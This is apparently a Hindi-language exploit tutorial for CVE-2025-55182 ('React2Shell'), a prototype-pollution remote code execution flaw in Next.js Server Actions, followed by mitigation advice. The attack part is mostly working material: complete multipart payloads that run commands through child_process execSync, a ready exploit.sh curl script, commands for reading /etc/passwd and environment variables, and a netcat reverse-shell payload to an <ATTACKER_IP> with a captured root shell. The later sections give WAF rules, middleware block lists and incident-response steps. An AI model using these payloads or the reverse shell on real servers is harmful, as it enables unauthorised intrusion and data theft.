
CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर कमजोरी है जो React Server Components (RSC) और Server Actions का उपयोग करने वाले Next.js अनुप्रयोगों को प्रभावित करती है।
⚠️ अस्वीकृति: यह दस्तावेज़ केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के विरुद्ध इन तकनीकों का कोई अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।
CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, Next.js एप्लिकेशनों को प्रभावित करने वाली एक गंभीर कमजोरी है जो उपयोग करते हैं:
एक हमलावर निम्नलिखित का शोषण करके सर्वर पर रिमोट कोड एक्जीक्यूशन (RCE) प्राप्त कर सकता है:
__proto__ और constructor के माध्यम से प्रोटोटाइप प्रदूषणपरिणाम: Node.js प्रक्रिया के विशेषाधिकारों के साथ मनमानी सिस्टम कमांड निष्पादित की जा सकती हैं।
Next.js क्लाइंट और सर्वर के बीच संचार के लिए एक मालिकाना मल्टीपार्ट/फॉर्म-डेटा प्रोटोकॉल का उपयोग करता है:
क्लाइंट (ब्राउज़र)
↓
[मल्टीपार्ट/फॉर्म-डेटा RSC पेलोड]
↓
Next.js सर्वर
↓
डिसीरियलाइज़ेशन + निष्पादन
↓
प्रतिक्रिया
कमज़ोरी इसलिए मौजूद है क्योंकि:
__proto__, constructor)एक हमलावर एक पेलोड तैयार कर सकता है जो आंतरिक ऑब्जेक्ट गुणों को संशोधित करता है:
{
"then": "$1:__proto__:then", // प्रोटोटाइप श्रृंखला को लक्षित करता है
"_response": {
"_prefix": "malicious code here" // कोड इंजेक्शन
}
}
__proto__ का शोषण करके, हमलावर जावास्क्रिप्ट ऑब्जेक्ट के प्रोटोटाइप को प्रदूषित करता है, जो उससे प्राप्त सभी ऑब्जेक्ट को प्रभावित करता है।
_prefix फ़ील्ड के अंदर, हमलावर जावास्क्रिप्ट कोड इंजेक्ट करता है जो:
process.mainModule.require() के माध्यम से Node.js मॉड्यूल तक पहुँचता हैchild_process मॉड्यूल लोड करता हैexecSync() का उपयोग करके सिस्टम कमांड निष्पादित करता हैvar res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
कमांड का परिणाम त्रुटि प्रतिक्रिया में छिपा होता है:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js यह त्रुटि क्लाइंट को लौटाता है, और कमांड आउटपुट digest फ़ील्ड में दिखाई देता है।
# PoC को क्लोन करें
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Node.js 20 स्थापित करें
nvm install 20
nvm use 20
# निर्भरताएँ स्थापित करें
cd test-server
npm install
npm run dev
सर्वर अब यहाँ उपलब्ध है:
http://localhost:3000
curl http://localhost:3000/
इस चरण में, सर्वर सामान्य रूप से व्यवहार करता है।
http://localhost:3000/ तक पहुँचेंएक GET अनुरोध अवरोधित किया जाएगा। इसे Repeater टैब पर भेजें:
पूरे अनुरोध को निम्नलिखित पेलोड से बदलें:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Send पर क्लिक करें
एक फ़ाइल exploit.sh बनाएँ:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# पेलोड बनाएँ
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# कमांड बदलें
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# अनुरोध भेजें
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
इसे निष्पादन योग्य बनाएँ:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
पूर्ण इंटरैक्टिव शेल पहुँच प्राप्त करने के लिए, रिवर्स शेल का उपयोग करें।
ncat -lvnp 9009
या netcat के साथ:
nc -lvnp 9009
निम्नलिखित कमांड के साथ पेलोड को संशोधित करें (<ATTACKER_IP> को अपने IP पते से बदलें):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
पूरा पेलोड इस प्रकार हो जाता है:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
अब आपके पास लक्ष्य सर्वर पर पूरी तरह से इंटरैक्टिव शेल है।
सफल शोषण पर:
digest फ़ील्ड में एम्बेडेड होता हैError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
सुनिश्चित करें कि आप Next.js का पैच किया गया संस्करण चला रहे हैं। आधिकारिक सुरक्षा सलाहकार देखें।
आने वाले RSC पेलोड का सख्त सत्यापन जोड़ें:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// संदिग्ध पेलोड को अस्वीकार करें
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// खतरनाक पैटर्न वाले पेलोड को ब्लॉक करें
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[सुरक्षा] ${request.ip} से दुर्भावनापूर्ण पेलोड प्रयास`);
return new NextResponse('निषिद्ध', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
next.config.js में:
module.exports = {
experimental: {
serverActions: {
enabled: false // यदि आवश्यक न हो तो अक्षम करें
}
}
};
# एक समर्पित उपयोगकर्ता बनाएँ
useradd -r -s /bin/false nextjs
# इस उपयोगकर्ता के तहत सेवा चलाएँ
sudo -u nextjs node server.js
# या systemd के साथ
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
प्रतिबंधित क्षमताओं के साथ Docker का उपयोग करें:
FROM node:20-alpine
# गैर-रूट उपयोगकर्ता बनाएँ
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
कंटेनर को प्रतिबंधित क्षमताओं के साथ चलाएँ:
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
व्यापक लॉगिंग लागू करें:
// कस्टम लॉगिंग मिडलवेयर
app.use((req, res, next) => {
// Next-Action हेडर वाले सभी POST अनुरोधों को लॉग करें
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[सुरक्षा_चेतावनी] ${req.ip} से शोषण प्रयास का पता चला`);
console.error(`[सुरक्षा_चेतावनी] User-Agent: ${req.get('user-agent')}`);
console.error(`[सुरक्षा_चेतावनी] पेलोड: ${bodyString.substring(0, 500)}`);
// सुरक्षा टीम को सतर्क करें
// sendSecurityAlert(`Exploit attempt from ${req.ip}`);
return res.status(403).json({ error: 'निषिद्ध' });
}
}
next();
});
अपने WAF को ब्लॉक करने के लिए कॉन्फ़िगर करें:
ModSecurity नियम:
# अनुरोध निकाय में __proto__ को ब्लॉक करें
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'प्रोटोटाइप प्रदूषण हमला'"
# अनुरोध निकाय में constructor को ब्लॉक करें
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'प्रोटोटाइप प्रदूषण हमला'"
# child_process मॉड्यूल पहुँच को ब्लॉक करें
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'कोड निष्पादन प्रयास'"
# execSync फ़ंक्शन को ब्लॉक करें
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'कोड निष्पादन प्रयास'"
# require() स्टेटमेंट को ब्लॉक करें
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'मॉड्यूल लोड करने का प्रयास'"
AWS WAF उदाहरण:
{
"Name": "RCE प्रयासों को ब्लॉक करें",
"Rules": [
{
"Name": "प्रोटो प्रदूषण ब्लॉक करें",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "लोअरकेस" }],
"PositionalConstraint": "शामिल है",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "प्रोटो प्रदूषण ब्लॉक करें"
}
}
]
}
जबकि CSP मुख्य रूप से क्लाइंट-साइड की रक्षा करता है, यह अच्छा अभ्यास है:
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# कमजोरियों के लिए निर्भरताएँ स्कैन करें
npm audit
npm audit fix
# सतत निगरानी के लिए snyk का उपयोग करें
snyk monitor
# नियमित पैठ परीक्षण
# त्रैमासिक सुरक्षा मूल्यांकन शेड्यूल करें
यदि शोषण का संदेह हो:
# 1. संदिग्ध पैटर्न के लिए लॉग जाँचें
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. प्रक्रिया इतिहास जाँचें
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. नेटवर्क कनेक्शन जाँचें
netstat -tuln
lsof -i -P -n
# 4. प्रभावित सिस्टम को अलग करें
sudo iptables -I INPUT -j DROP
# 5. साक्ष्य और लॉग संरक्षित करें
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
# 6. अपनी सुरक्षा टीम को सूचित करें और पैच लागू करें
{
// चरण 1: प्रोटोटाइप श्रृंखला को लक्षित करें
"then": "$1:__proto__:then",
// चरण 2: हल किए गए मॉडल के रूप में चिह्नित करें
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// चरण 3: _response के माध्यम से कोड इंजेक्ट करें
"_response": {
// इंजेक्ट किया गया जावास्क्रिप्ट कोड
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// फॉर्म डेटा का संदर्भ
"_chunks": "$Q2",
// फॉर्म डेटा के माध्यम से कंस्ट्रक्टर तक पहुँच
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1 जैसे संदर्भ अन्य फॉर्म फ़ील्ड में हल किए जाते हैं__proto__ पथ ऑब्जेक्ट प्रोटोटाइप को संशोधित करता है_prefix फ़ील्ड का मूल्यांकन किया जाता हैexecSync मनमानी कमांड चलाता हैCVE-2025-55182 (React2Shell) निम्नलिखित से जुड़े गंभीर जोखिमों को प्रदर्शित करता है:
✅ उपयोगकर्ता-नियंत्रित डेटा का असुरक्षित डिसीरियलाइज़ेशन ✅ जावास्क्रिप्ट प्रोटोटाइप श्रृंखलाओं में प्रोटोटाइप प्रदूषण ✅ उचित सत्यापन के बिना डायनामिक कोड निष्पादन
यह कमजोरी निम्नलिखित के महत्व को पुष्ट करती है:
लाइसेंस: केवल शैक्षिक उपयोग - कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है।
वैध सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, कोई भी परीक्षण करने से पहले सिस्टम स्वामी से लिखित अनुमति प्राप्त करना सुनिश्चित करें।